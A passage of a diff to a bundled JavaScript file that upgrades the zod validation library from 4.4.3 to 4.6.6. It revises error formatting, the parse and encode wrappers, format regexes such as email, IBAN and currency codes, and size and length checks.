fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56067,27 +56364,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56107,11 +56416,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -56122,7 +56438,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -56143,9 +56459,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -56154,32 +56470,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -56188,39 +56513,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -56242,9 +56630,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -56252,8 +56641,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -56267,6 +56658,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -56278,6 +56670,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -56307,10 +56700,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -56322,13 +56718,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -56339,33 +56735,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -56401,13 +56802,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -56416,22 +56825,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56444,22 +56843,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56471,14 +56860,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -56497,32 +56885,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56533,7 +56913,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56546,10 +56926,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56557,10 +56937,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56573,18 +56953,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56592,10 +56966,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56608,26 +56982,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56636,26 +57002,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56664,24 +57022,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -56694,27 +57043,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); 